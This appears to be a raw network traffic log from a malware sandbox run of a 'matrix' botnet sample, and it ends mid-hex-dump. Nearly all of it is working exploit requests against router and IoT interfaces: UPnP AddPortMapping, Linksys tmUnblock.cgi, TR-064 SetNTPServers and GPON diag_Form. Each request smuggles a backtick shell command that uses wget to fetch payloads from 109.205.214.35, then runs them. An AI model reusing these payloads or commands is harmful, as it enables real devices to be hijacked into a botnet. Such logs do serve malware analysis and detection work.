67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:22.540251970 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
532	192.168.2.13	47068	172.65.80.133	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.506027937 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
533	192.168.2.13	50894	95.78.67.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.518280029 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:35.735785961 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 11:22:34 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
534	192.168.2.13	36992	5.138.163.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568211079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
535	192.168.2.13	48940	212.79.22.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568227053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
536	192.168.2.13	50642	42.238.192.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568408012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
537	192.168.2.13	47604	118.47.103.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568408966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
538	192.168.2.13	56204	42.149.100.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568430901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
539	192.168.2.13	45536	118.13.169.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568460941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
540	192.168.2.13	60248	42.21.91.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568461895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
541	192.168.2.13	42236	212.202.55.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568525076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.13	37604	118.62.86.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568564892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.13	39622	212.105.143.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568594933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.13	52604	109.196.160.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568597078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.13	60292	42.240.232.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568635941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.13	42298	212.152.118.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568638086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.13	55756	118.238.176.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.568650007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.13	51742	5.22.38.152	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:35.604208946 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 